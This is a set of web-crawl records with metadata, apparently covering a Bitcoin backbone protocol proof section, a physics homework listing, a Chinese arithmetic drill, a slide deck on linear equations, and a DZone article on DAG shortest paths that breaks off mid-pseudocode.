party and let $$r^$$ be the round on which it was computed (set $$r^=0$$ if no such block exists). Denote by $$\\mathcal {C}^$$ the common part of $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ up to (and including) this block and let $$d^=\\mathrm {diff}(\\mathcal {C}^)$$ and $$S=\\{i:r^<u<r\\}$$. We claim that\n\\begin{aligned} (1+\\epsilon )(1-\\delta )p\\sum _{u\\in S}n_u\\ge \\sum _{u\\in S}Q_u. \\end{aligned}\n(2)\nIn view of Proposition 5, it suffices to show that the difficulty which the adversary contributed to $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ is at least the right-hand side of (2). The proof of this rests on the following observation.\n\nConsider any block B extending a chain $$\\mathcal {C}_1$$ that was computed by an honest party in a uniquely successful round $$u\\in S$$. Consider also an arbitrary $$d\\in \\mathbb {R}$$ such that $$\\mathrm {diff}(\\mathcal {C}_1)\\le d<\\mathrm {diff}(\\mathcal {C}_1B)$$. We are going to argue that if another chain of difficulty at least d exists, then the block that “contains” the point of difficulty d was computed by the adversary. More formally, suppose a chain $$\\mathcal {C}_2B'$$ exists such that $$B'\\ne B$$ and $$\\mathrm {diff}(\\mathcal {C}_2)\\le d<\\mathrm {diff}(\\mathcal {C}_2B')$$. We observe that $$B'$$ was computed by the adversary. This is because no honest party would extend $$\\mathcal {C}_2$$ at a round later than u since $$\\mathrm {diff}(\\mathcal {C}_2)\\le d<\\mathrm {diff}(\\mathcal {C}_1B)$$; on the other hand, if an honest party computed $$B'$$ at some round $$u'<u$$, then no honest party would have extended $$\\mathcal {C}_1$$ at round u since $$\\mathrm {diff}(\\mathcal {C}_1)\\le d<\\mathrm {diff}(\\mathcal {C}_2B')$$; finally, note that u is also ruled out since it was a uniquely successful round by assumption.\n\nReturning to the proof of (2) note that, by the Chain-Growth Lemma 1, $$\\mathrm {diff}(\\mathcal {C}')$$ and $$\\mathrm {diff}(\\mathcal {C})$$ are at least $$d^+\\sum _{u\\in S}Q_u$$. To show (2) it suffices to argue that for all $$d\\in (d^,\\sum _{u\\in S}Q_u]$$ there is always a $$B'$$ as above that lies either on $$\\mathcal {C}$$, or on $$\\mathcal {C}'$$, or on their common prefix. But this is always possible since B cannot be both on $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ (note that by the definition of $$r^$$, B cannot be on their common prefix). To finish the proof note that (2) contradicts Proposition 3 for large enough S. $$\\square$$\n\n### Theorem 2\n\n(Common Prefix). Let E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. For any round r and any two chains in $$\\mathcal {S}_r$$, the common-prefix property holds for $$k\\ge \\frac{\\theta \\gamma m}{4\\tau }$$.\n\n### Proof\n\nSuppose common prefix fails for two chains $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ at round r. At least k / 2 of the blocks in each chain after their common prefix, lie in a single epoch. Proposition 6 implies that $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ diverge before round $$r-\\frac{m}{16\\tau f}$$, contradicting Lemma 5. $$\\square$$\n\n### Theorem 3\n\n(Chain Quality). Suppose E is a typical execution in a $$(\\gamma ,s)$$-respecting environment. For the chain of any honest party at any round in E, the chain-quality property holds with parameters $$\\ell =\\frac{m}{16\\tau f}$$ and , where $$\\lambda =\\max \\{t_r/n_r\\}<(1-\\delta )$$.\n\n### Proof\n\nLet us denote by $$B_i$$ the i-th block of $$\\mathcal {C}$$ so that $$\\mathcal {C}=B_1 \\dots B_{\\mathop {\\mathrm {len}}(\\mathcal {C})}$$ and consider L consecutive blocks $$B_u,\\dots ,B_v$$. Define $$L'$$ as the least number of consecutive blocks $$B_{u'},\\dots ,B_{v'}$$ that include the L given ones (i.e., $$u'\\le u$$ and $$v\\le v'$$) and have the properties (1) that the block $$B_{u'}$$ was computed by an honest party or is $$B_1$$ in case such block does not exist, and (2) that there exists a round at which an honest party was trying to extend the chain ending at block $$B_{v'}$$. Observe that number $$L'$$ is well defined since $$B_{\\mathop {\\mathrm {len}}(\\mathcal {C})}$$ is at the head of a chain that an honest party is trying to extend. Denote by $$d'$$ the total difficulty of these $$L'$$ blocks. Define also $$r_1$$ as the round that $$B_{u'}$$ was created (set $$r_1=0$$ if $$B_{u'}$$ is the genesis block), $$r_2$$ as the first round that an honest party attempts to extend $$B_{v'}$$, and let $$S=\\{r:r_1\\le r\\le r_2\\}$$. Note that $$\|S\|\\ge \\frac{m}{16\\tau f}$$.\n\nNow let x denote the total difficulty of all the blocks from honest parties that are included in the L blocks and—towards a contradiction—assume that\n\\begin{aligned} x<\\Bigl [1-\\Bigl (1+\\frac{\\delta }{2}\\Bigr )\\lambda \\Bigr ]d \\le \\Bigl [1-\\Bigl (1+\\frac{\\delta }{2}\\Bigr )\\lambda \\Bigr ]d' .\\end{aligned}\n(3)\nSuppose first that all the $$L'$$ blocks $$\\{B_j:u'\\le j\\le v'\\}$$ have been computed during the rounds in the set S. Recalling Proposition 5, we now argue the following sequence of inequalities.\n\\begin{aligned} (1+\\epsilon )(1-\\delta )p\\sum _{u\\in S}n_u\\ge d'-x \\ge \\Bigl (1+\\frac{\\delta }{2}\\Bigr )\\lambda d' \\ge \\Bigl (1+\\frac{\\delta }{2}\\Bigr )\\lambda \\sum _{u\\in S}Q_u .\\end{aligned}\n(4)\nThe first inequality follows from the definition of x and $$d'$$ and Proposition 5. The second one comes from the relation between x and $$d'$$ outlined in (3). To see the last inequality, assume $$\\sum _{u\\in S}Q_u>d'$$. But then, by the Chain-Growth Lemma 1, the assumption than an honest party is on $$B_{v'}$$ at round $$r_2$$ is contradicted as all honest parties should be at chains of greater length. We now observe that (4) contradicts Proposition 3, since\n$$\\Bigl (1+\\frac{\\delta }{2}\\Bigr )\\lambda \\sum _{u\\in S}Q_u >(1-\\epsilon )(1-\\theta f)\\Bigl (1-\\frac{\\delta }{2}\\Bigr )p\\sum _{u\\in S}n_u \\ge (1+\\epsilon )(1-\\delta )p\\sum _{u\\in S}n_u ,$$\nwhere the middle inequality follows by Requirement (R2).\n\nTo finish the proof we need to consider the case in which these $$L'$$ blocks contain blocks that the adversary computed in rounds outside S. It is not hard to see that this case implies either a prediction or an insertion and cannot occur in a typical execution. $$\\square$$\n\n### Theorem 4\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Persistence is satisfied with depth $$k\\ge \\frac{\\theta \\gamma m}{4\\tau }$$.\n\n### Proof\n\nSuppose an honest party P has at round r a chain $$\\mathcal {C}$$ such that $$\\mathcal {C}^{\\lceil k}$$ contains a transaction $$\\mathrm {tx}$$.\n\nWe first show that the $$k\\ge \\smash {\\frac{\\theta \\gamma m}{4\\tau }}$$ blocks of $$\\mathcal {C}$$ cannot have been computed in less than $$\\smash {\\frac{m}{16\\tau f}}$$ rounds. Suppose—towards a contradiction—that this was the case. By Lemma 3, at least $$\\smash {\\frac{\\theta \\gamma m}{8\\tau }}$$ of the k blocks belong to a single epoch and Proposition 6 is contradicted.\n\nTo show persistence, note that if any party $$P'\\ne P$$ has a chain $$\\mathcal {C}'$$ at round r and $$\\mathcal {C}^{\\lceil k}$$ is not a prefix of $$\\mathcal {C}'$$, then Lemma 5 is contradicted. Next, let $$r'>r$$ be the first round after r such that an honest party $$P'$$ has a chain $$\\mathcal {C}'$$ such that $${\\mathcal {C}^{\\lceil k}}$$ is not a prefix of $$\\mathcal {C}'$$. By the note above and the minimality of $$r'$$ it follows that no honest party had a prefix of $$\\mathcal {C}'$$ at round $$r'-1$$. Thus, $$\\mathcal {C}'$$ existed at round $$r'-1$$ and $$P'$$ had another chain $$\\mathcal {C}''$$ at that round such that $$\\mathcal {C}^{\\lceil k}\\preceq \\mathcal {C}''$$ and $$\\mathrm {diff}(\\mathcal {C}'')<\\mathrm {diff}(\\mathcal {C}')$$. We now observe that $$\\mathcal {C}'$$ and $$\\mathcal {C}''$$ contradict Lemma 5 at round $$r'-1$$. $$\\square$$\n\n### Theorem 5\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Liveness is satisfied for depth k with wait-time $$\\frac{m}{16\\tau f}+\\frac{\\gamma k}{\\eta f(1-\\epsilon )(1-\\theta f)}$$.\n\n### Proof\n\nSuppose a transaction $$\\mathrm {tx}$$ is included in any block computed by an honest party for $$\\smash {\\frac{m}{16\\tau f}}$$ consecutive rounds and let S denote the set of $$\\smash {\\frac{\\gamma k}{\\eta f(1-\\epsilon )(1-\\theta f)}}$$ rounds that follow these rounds. Consider now the chain $$\\mathcal {C}$$ of an arbitrary honest party after the rounds in S. By Lemma 2, $$\\mathcal {C}$$ contains an honest block computed in the $$\\frac{m}{16\\tau f}$$ rounds. This block contains $$\\mathrm {tx}$$. Furthermore, after the rounds in the set S, on top of this block there has been accumulated at least $$\\sum _{r\\in S}Q_r$$ amount of difficulty. We claim that this much difficulty corresponds to at least k blocks. To show this, assume $$\|S\|\\le s$$ (or consider only the first s rounds of S). Let T be the smallest target computed by an honest party during the rounds in S and let u be such a round. It suffices to show $$T\\sum _{r\\in S}Q_r\\ge k$$. Indeed,\n$$T\\sum _{r\\in S}Q_r \\ge (1-\\epsilon )(1-\\theta f)pT\\sum _{r\\in S}n_r \\ge (1-\\epsilon )(1-\\theta f)\\frac{pTn_u\|S\|}{\\gamma }\\ge k .$$\nThe first inequality follows from Proposition 3, the second by Fact 1, and for the last one we substitute the size of S and use that $$pTn_u\\ge f(T,n_u)\\ge \\eta f$$ (since u is $$(\\eta ,\\theta )$$-good). $$\\square$$\n\n## Footnotes\n\n1. 1.\n\nIn Bitcoin, solving a proof of work essentially amounts to brute-forcing a hash inequality based on SHA-256.\n\n2. 2.\n\nIn Bitcoin, m is set to 2016 and roughly corresponds to 2 weeks in real time—assuming the number of parties does not change much.\n\n3. 3.\n\nIn the latest version of , we show that in the case of fixed difficulty, the analysis of the Bitcoin backbone in the synchronous model extends with relative ease to partial synchrony. We leave the extension of the variable-difficulty case for future work.\n\n4. 4.\n\nIn this is referred to as the “flat-model” in terms of computational power, where all parties are assumed equal. In practice, different parties may have different “hashing power”; note that this does not sacrifice generality since one can imagine that real parties are simply clusters of some arbitrary number of flat-model parties.\n\n5. 5.\n\nNote that in order to calculate f, we can consider that a round of full interaction lasts 18 s; If this is combined with the fact that the target is set for a POW to be discovered approximately every 10 min, we have that 18/600 = 0.3 is a good estimate for f.\n\n## References\n\n1. 1.\nBack, A.: Hashcash (1997). http://www.cypherspace.org/hashcash\n2. 2.\nBahack, L.: Theoretical bitcoin attacks with less than half of the computational power (draft). IACR Cryptology ePrint Archive 2013, 868 (2013). http://eprint.iacr.org/2013/868\n3. 3.\nBellare, M., Rogaway, P.: Random oracles are practical: a paradigm for designing efficient protocols. In: Denning, D.E., Pyle, R., Ganesan, R., Sandhu, R.S., Ashby, V. (eds.) Proceedings of the 1st ACM Conference on Computer and Communications Security, CCS 1993, Fairfax, Virginia, USA, 3–5 November 1993, pp. 62–73. ACM (1993). http://doi.acm.org/10.1145/168588.168596\n4. 4.\nCanetti, R.: Security and composition of multiparty cryptographic protocols. J. Cryptol. 13(1), 143–202 (2000)\n5. 5.\nCanetti, R.: Universally composable security: a new paradigm for cryptographic protocols. Cryptology ePrint Archive, Report 2000/067 (2000). http://eprint.iacr.org/2000/067\n6. 6.\nCanetti, R.: Universally composable security: a new paradigm for cryptographic protocols. In: 42nd Annual Symposium on Foundations of Computer Science, FOCS 2001, 14–17 October 2001, Las Vegas, Nevada, USA, pp. 136–145. IEEE Computer Society (2001). http://dx.doi.org/10.1109/SFCS.2001.959888\n7. 7.\nDwork, C., Lynch, N.A., Stockmeyer, L.J.: Consensus in the presence of partial synchrony. J. ACM 35(2), 288–323 (1988). http://doi.acm.org/10.1145/42282.42283\n8. 8.\nDwork, C., Naor, M.: Pricing via processing or combatting junk mail. In: Brickell, E.F. (ed.) CRYPTO 1992. LNCS, vol. 740, pp. 139–147. Springer, Heidelberg (1993). doi:\n9. 9.\nEyal, I., Sirer, E.G.: Majority is not enough: bitcoin mining is vulnerable. In: Christin, N., Safavi-Naini, R. (eds.) FC 2014. LNCS, vol. 8437, pp. 436–454. Springer, Heidelberg (2014). doi: Google Scholar\n10. 10.\nGaray, J.A., Kiayias, A., Leonardos, N.: The bitcoin backbone protocol: analysis and applications. IACR Cryptology ePrint Archive 2014, 765 (2014). http://eprint.iacr.org/2014/765\n11. 11.\nGaray, J., Kiayias, A., Leonardos, N.: The bitcoin backbone protocol: analysis and applications. In: Oswald, E., Fischlin, M. (eds.) EUROCRYPT 2015. LNCS, vol. 9057, pp. 281–310. Springer, Heidelberg (2015). doi: Google Scholar\n12. 12.\nGaray, J.A., Kiayias, A., Leonardos, N.: The bitcoin backbone protocol with chains of variable difficulty. IACR Cryptology ePrint Archive 2016, 1048 (2016). http://eprint.iacr.org/2016/1048\n13. 13.\nHadzilacos, V., Toueg, S.: A modular approach to fault-tolerant broadcasts and related problems. Technical report (1994)Google Scholar\n14. 14.\nJuels, A., Brainard, J.G.: Client puzzles: a cryptographic countermeasure against connection depletion attacks. In: NDSS, The Internet Society (1999)Google Scholar\n15. 15.\nKiayias, A., Koutsoupias, E., Kyropoulou, M., Tselekounis, Y.: Blockchain mining games. In: Conitzer, V., Bergemann, D., Chen, Y. (eds.) Proceedings of the 2016 ACM Conference on Economics and Computation, EC 2016, Maastricht, The Netherlands, 24–28 July 2016, pp. 365–382. ACM (2016). http://doi.acm.org/10.1145/2940716.2940773\n16. 16.\nKiayias, A., Panagiotakos, G.: Speed-security tradeoffs in blockchain protocols. IACR Cryptology ePrint Archive 2015, 1019 (2015). http://eprint.iacr.org/2015/1019\n17. 17.\nLamport, L., Shostak, R.E., Pease, M.C.: The byzantine generals problem. ACM Trans. Program. Lang. Syst. 4(3), 382–401 (1982)\n18. 18.\nMcDiarmid, C.: Concentration. In: Habib, M., McDiarmid, C., Ramirez-Alfonsin, J., Reed, B. (eds.) Probabilistic Methods for Algorithmic Discrete Mathematics. Algorithms and Combinatorics, vol. 16, pp. 195–248. Springer, Heidelberg (1998). doi:\n19. 19.\nMitzenmacher, M., Upfal, E.: Probability and Computing - Randomized Algorithms and Probabilistic Analysis. Cambridge University Press, Cambridge (2005)\n20. 20.\nNakamoto, S.: Bitcoin open source implementation of P2P currency. http://p2pfoundation.ning.com/forum/topics/bitcoin-open-source\n21. 21.\nPass, R., Seeman, L., Shelat, A.: Analysis of the blockchain protocol in asynchronous networks. In: Coron, J.-S., Nielsen, J.B. (eds.) EUROCRYPT 2017. LNCS, vol. 10211, pp. 643–673. Springer, Cham (2017). doi:\n22. 22.\nPease, M.C., Shostak, R.E., Lamport, L.: Reaching agreement in the presence of faults. J. ACM 27(2), 228–234 (1980)\n23. 23.\nRivest, R.L., Shamir, A., Wagner, D.A.: Time-lock puzzles and timed-release crypto. Technical report, Cambridge, MA, USA (1996)Google Scholar\n24. 24.\nSapirshtein, A., Sompolinsky, Y., Zohar, A.: Optimal selfish mining strategies in bitcoin. CoRR abs/1507.06183 (2015). http://arxiv.org/abs/1507.06183" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8842074,"math_prob":0.9994797,"size":76765,"snap":"2020-34-2020-40","text_gpt3_token_len":20546,"char_repetition_ratio":0.16806711,"word_repetition_ratio":0.10193527,"special_character_ratio":0.28347555,"punctuation_ratio":0.11577522,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99994934,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-26T12:59:42Z\",\"WARC-Record-ID\":\"<urn:uuid:6d815721-5ea2-4012-8aba-310384c53eb6>\",\"Content-Length\":\"272577\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cffe660b-4a78-47e3-a8e6-5be1fd1e58b0>\",\"WARC-Concurrent-To\":\"<urn:uuid:463e1c7e-e0b0-4aaf-8af9-8c9e3670b0ce>\",\"WARC-IP-Address\":\"199.232.64.95\",\"WARC-Target-URI\":\"https://link.springer.com/chapter/10.1007/978-3-319-63688-7_10\",\"WARC-Payload-Digest\":\"sha1:CBOUUSU7Q7TKZSBFHEQKMUKLME7EYLDL\",\"WARC-Block-Digest\":\"sha1:6PSYEEZ3YVDLPYRSOD3L65BLHFAJ2QFY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400241093.64_warc_CC-MAIN-20200926102645-20200926132645-00596.warc.gz\"}"}
https://plati.market/itm/k1-option-83-figure-8-of-condition-3-targ-sm-1989/2368576	[ "# K1 Option 83 (Figure 8 of Condition 3) Targ SM. 1989\n\n• USD\n• RUB\n• USD\n• EUR\nAffiliates: 0,02 \\$how to earn\nSold: 0\nContent: K1_83_89.pdf 60,1 kB\nLoyalty discount! If the total amount of your purchases from the seller Timur_ed more than:\n 15 \\$ the discount is 20%", null, "## Seller", null, "Timur_ed information about the seller and his items\n\n## Product description\n\na) Point B moves in the xy plane; the trajectory of the point in the figures is shown conditionally. The law of motion of a point is given by the equations x = f1 (t), y = f2 (t), where x and y are expressed in centimeters, t-in seconds. Find the equation of the trajectory of the point; for the time t1 = 1c, determine the speed and acceleration of the point, as well as its tangential and normal acceleration and the radius of curvature at the corresponding point of the trajectory. b) The point moves along an arc of a circle of radius R = 2m according to the law S = f (t), S- in meters, t - in seconds. Determine the speed and acceleration of the point at time t1 = 1c.", null, "" ]	[ null, "https://plati.market/img/passport_ico_32.png", null, "https://plati.market/img/icon-merchant-0.png", null, "https://shop.digiseller.ru/asp/cntview.asp", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.72124636,"math_prob":0.994572,"size":2194,"snap":"2022-05-2022-21","text_gpt3_token_len":664,"char_repetition_ratio":0.09497717,"word_repetition_ratio":0.00982801,"special_character_ratio":0.3413856,"punctuation_ratio":0.07317073,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9895259,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-18T06:51:03Z\",\"WARC-Record-ID\":\"<urn:uuid:751bb6d0-8490-46f4-9dd5-66e5958c8de9>\",\"Content-Length\":\"59202\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:88d7c647-91a8-42e0-b7d4-19362c7ee22f>\",\"WARC-Concurrent-To\":\"<urn:uuid:610d53c5-6354-4ce5-8fcc-e48396332ca4>\",\"WARC-IP-Address\":\"185.26.97.103\",\"WARC-Target-URI\":\"https://plati.market/itm/k1-option-83-figure-8-of-condition-3-targ-sm-1989/2368576\",\"WARC-Payload-Digest\":\"sha1:YD5TQRTOV2QRLGL4OI7XZNLX3KZMV5VL\",\"WARC-Block-Digest\":\"sha1:5Y6F7EUH45UH4L5BDUTK2UTX3MHN6BS6\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662521152.22_warc_CC-MAIN-20220518052503-20220518082503-00508.warc.gz\"}"}
http://www.51zjedu.com/yinianji/rjbsxx/27865.html	[ "# 小学一年级下册数学12套口算题\n\n 29－11= 16－ 4= 89－24= 29－ 8= 98－77= 52－50= 24－13= 10+20= 14+25= 31－11= 17－ 7= 19－12= 98－80= 25－4= 99－23= 24－13= 15+14= 90－10= 20+8= 25+33= 18+11= 28+2= 29+1= 25+25= 26－10= 12+5= 28+11= 25+12= 23－3= 12+10= 16+13= 24+4= 19+11= 17－12= 18－8= 19－6= 29+10= 72－10= 20+30= 99－98= 12+17= 60－40= 17－17= 90－40= 16+54= 20－10= 70－50= 50－30= 60+30= 12+33= 28+6= 16+44= 20+44= 50－50= 19－18= 18－15= 88+12= 66－16= 90－30= 65－25= 50－20= 87－7= 80+9= 18－13= 13+17= 15+53= 16+13= 14+22= 89－80= 14+26= 56－40= 66－20= 99－33= 66－46= 19+60= 17－( )=0 17－14= 15－3= 80+4= 26－16= 19－( )=13 27－14= 18+( )=20 14+( )=27 67－12= 16－( )=12 65－33= 65+25= 24+24= 8+( )=16 10+( )=50 65+( )=70 ( )－20=50 40+( )=60 20+( )=30 87－33= 16－6= 80－( )=0 75－25= 30+30=\n\n 69+ 3= 47－ 6= 59+10= 28+ 9= 73+ 6= 4 +50= 22－ 9= 15+ 8= 8 +12= 9 + 6= 18－ 9= 72－ 2= 49+ 7= 27+14= 59－ 6= 82－ 1= 25－ 5= 64+ 5= 89－ 4= 19－ 6= 55+25= 69+13= 48+13= 87－12= 21－ 5= 9 +43= 12+10= 80－20= 67－15= 35－16= 29－13= 66－15= 12－ 7= 10+19= 16－11= 90+10= 29－13= 85－16= 44－13= 22－11= 34+16= 88－18= 60－12= 51－12= 97－17= 17+16= 26+ 3= 67－ 7= 98－18= 29－19= 100－4= 99+ 1= 29－13= 39+ 2= 30+12= 83－11= 50+50= 29－10= 68+ 5= 30+70= 87－10= 77－15= 99－66= 33+11= 16+ 3= 83－19= 26+38= 70+20= 56+16= 60－20= 22+40= 34+12= 13－ 8= 23－ 4= 82－ 6= 82－15= 100－( )=80 23－( )=18 44+( )=60 70－( )=20 23+16= 55+33= 34+12= 47－30= 21+47= 26+( )=66 86+9= 66+5= 24+9= 9 +54= 60－16= 16+( )=56 41－( )=30 86－12= 73－44= 66+12= 74－15= 69－13= 69+( )=80 44－15=", null, "" ]	[ null, "http://www.51zjedu.com/images/download.png", null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.59521735,"math_prob":1.0000097,"size":1839,"snap":"2021-31-2021-39","text_gpt3_token_len":1079,"char_repetition_ratio":0.25395095,"word_repetition_ratio":0.0,"special_character_ratio":0.94072866,"punctuation_ratio":0.0,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.00001,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-08-03T18:14:29Z\",\"WARC-Record-ID\":\"<urn:uuid:313dca02-98f2-4b91-958a-a1910d0a4eb7>\",\"Content-Length\":\"170487\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:edcded18-d4db-4d25-bc8d-cbcdb26b47e8>\",\"WARC-Concurrent-To\":\"<urn:uuid:197970cd-3da7-4fa8-9834-df7b84a7b481>\",\"WARC-IP-Address\":\"114.215.199.96\",\"WARC-Target-URI\":\"http://www.51zjedu.com/yinianji/rjbsxx/27865.html\",\"WARC-Payload-Digest\":\"sha1:AVIOCVTQH37BAHARFNCU5PI5VZOTY2SN\",\"WARC-Block-Digest\":\"sha1:ZOAMKRRXMPBIF5X334QCNSKSWGY6DGF5\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046154466.61_warc_CC-MAIN-20210803155731-20210803185731-00015.warc.gz\"}"}
https://slideplayer.com/slide/6204500/	[ "", null, "# 1.3 Linear Equations in Two Variables Objectives: Write a linear equation in two variables given sufficient information. Write an equation for a line.\n\n## Presentation on theme: \"1.3 Linear Equations in Two Variables Objectives: Write a linear equation in two variables given sufficient information. Write an equation for a line.\"— Presentation transcript:\n\n1.3 Linear Equations in Two Variables Objectives: Write a linear equation in two variables given sufficient information. Write an equation for a line that is parallel or perpendicular to a given line. Standard: 2.8.11.A Analyze a given set of data for the existence of a pattern and represent the pattern algebraically and graphically.\n\nI. Point-Slope Form If a line has a slope of m and contains the point (x 1, y 1 ), then the point-slope form of its equation is y – y 1 = m(x – x 1 ). Ex 1. Write an equation in point-slope form for the line that has a slope of ½ and contains the point (-8, 3). Then write the equation in slope-intercept form.\n\nI. Point-Slope Form Ex 2. Write an equation in point-slope form for the line that has a slope of 5 and passes through the point (-1, -3). Then write the equation in slope- intercept form.\n\nII. Writing an equation in slope-intercept form for a line containing two given points. Find the slope. Substitute “m” & one of the two points you were given into y = mx + b to find “b.” Write the equation in y = mx + b form with the values for “m” and the “b” that you calculated.\n\nII. Write an equation in slope-intercept form for the line containing the two given points. Ex 1. (4, -3) and (2,1)\n\nII. Write an equation in slope-intercept form for the line containing the two given points. Ex 2. (1, -3) and (3, -5)\n\nIII. Parallel and Perpendicular Lines Parallel Lines – If two lines have the same slope, they are parallel. If two lines are parallel, they have the same slope. All vertical lines have an undefined slope and are parallel to one another. All horizontal lines have a slope of 0 and are parallel to one another. y = 2x + 5 and y = 2x – 1 Perpendicular Lines – If a nonvertical line is perpendicular to another line, the slopes of the lines are opposite sign and reciprocal of one another. All vertical lines are perpendicular to all horizontal lines. All horizontal lines are perpendicular to all vertical lines. y = 2x + 2 & y = -1/2x + 4\n\nIII. Parallel and Perpendicular Lines (-2, 5), y = -2x + 4 Parallel Perpendicular\n\nIII. Parallel and Perpendicular Lines (8, 5), y = -x + 2 Parallel Perpendicular\n\nIII.Parallel and Perpendicular Lines 1.(5, -3), y = 4x + 22. (-2, 3), y = -3x+2 3. (4, -3), 3x + 4y = 84. (-6, 2), y = -2/3 x - 3 For each of the following: 5.(1, -4), y = 3x – 26. (0, -5), y = x – 5 7. (3, -1), 12x + 4y = 88. (-2, 4), x – 6y = 15 Find a line that goes through the given point and is parallel to the given line. Find a line that goes through the given point and is perpendicular to the given line.\n\nWriting Activities: Parallel and Perpendicular Lines 1. Describe the relationship between the equations of 2 parallel lines. Include an example. 2. Describe the relationship between the equations of 2 perpendicular lines. Include an example.\n\n3. Explain how to write an equation for the line that contains the point (2, -3) and is parallel to the graph of x – 2y = 2. 4. Explain how to write an equation for the line that contains the point (2, -3) and is perpendicular to the graph of x – 2y = 2.\n\nHomework Integrated Algebra II- Section 1.3 Level A even #’s Honors Algebra II- Section 1.3 Level B\n\nDownload ppt \"1.3 Linear Equations in Two Variables Objectives: Write a linear equation in two variables given sufficient information. Write an equation for a line.\"\n\nSimilar presentations" ]	[ null, "https://slideplayer.com/static/blue_design/img/slide-loader4.gif", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.87089324,"math_prob":0.999121,"size":3380,"snap":"2023-40-2023-50","text_gpt3_token_len":947,"char_repetition_ratio":0.17624408,"word_repetition_ratio":0.19129083,"special_character_ratio":0.29822487,"punctuation_ratio":0.1401099,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999157,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-11-30T03:59:20Z\",\"WARC-Record-ID\":\"<urn:uuid:5903c715-793d-4bc9-8532-7165fed946aa>\",\"Content-Length\":\"157616\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0ba68fab-c6ee-4c24-b1b3-b014e1dc066c>\",\"WARC-Concurrent-To\":\"<urn:uuid:cbb697f5-1a95-4006-a344-4e48642c11d3>\",\"WARC-IP-Address\":\"138.201.54.25\",\"WARC-Target-URI\":\"https://slideplayer.com/slide/6204500/\",\"WARC-Payload-Digest\":\"sha1:XHNX5XE6AWMJ7S7GUSYZJFBHAPLNFWAE\",\"WARC-Block-Digest\":\"sha1:TJNZW7RSPPR47YQNE5YTGNZ44RFFGJ5C\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100164.87_warc_CC-MAIN-20231130031610-20231130061610-00882.warc.gz\"}"}
https://dzone.com/articles/algorithm-week-shorted-path	[ "{{announcement.body}}\n{{announcement.title}}\n\n# Algorithm of the Week: Shortest Path in a Directed Acyclic Graph\n\nDZone 's Guide to\n\n# Algorithm of the Week: Shortest Path in a Directed Acyclic Graph\n\n· Database Zone ·\nFree Resource\n\nComment (0)\n\nSave\n{{ articles.views \| formatCount}} Views\n\n## Introduction\n\nWe saw how to find the shortest path in a graph with positive edges using the Dijkstra’s algorithm. We also know how to find the shortest paths from a given source node to all other nodes even when there are negative edges using the Bellman-Ford algorithm. Now we’ll see that there’s a faster algorithm running in linear time that can find the shortest paths from a given source node to all other reachable vertices in a directed acyclic graph, also known as a DAG.\n\nBecause the DAG is acyclic we don’t have to worry about negative cycles. As we already know it’s pointless to speak about shortest path in the presence of negative cycles because we can “loop” over these cycles and practically our path will become shorter and shorter.", null, "The presence of a negative cycles make our attempt to find the shortest path pointless!\n\nThus we have two problems to overcome with Dijkstra and the Bellman-Ford algorithms. First of all we needed only positive weights and on the second place we didn’t want cycles. Well, we can handle both cases in this algorithm.\n\n## Overview\n\nThe first thing we know about DAGs is that they can easily be topologically sorted. Topological sort can be used in many practical cases, but perhaps the mostly used one is when trying to schedule dependent tasks.\n\nAfter a topological sort we end with a list of vertices of the DAG and we’re sure that if there’s an edge (u, v), u will precede v in the topologically sorted list.", null, "If there’s an edge (u,v) then u must precede v. This results in the more general case from the image. There’s no edge between B and D, but B precedes D!\n\nThis information is precious and the only thing we need to do is to pass through this sorted list and to calculate distances for a shortest paths just like the algorithm of Dijkstra.\n\nOK, so let’s summarize this algorithm:\n- First we must topologically sort the DAG;\n- As a second step we set the distance to the source to 0 and infinity to all other vertices;\n- Then for each vertex from the list we pass through all its neighbors and we check for shortest path;\n\nIt’s pretty much like the Dijkstra’s algorithm with the main difference that we used a priority queue then, while this time we use the list from the topological sort.\n\n## Code\n\nThis time the code is actually a pseudocode. Although all the examples so far was in PHP, perhaps pseudocode is easier to understand and doesn’t bind you in a specific language implementation. Also if you don’t feel comfortable with the given programming language it can be more difficult for you to understand the code than by reading pseudocode.\n\n```1. Topologically sort G into L;\n2. Set the distance to the source to 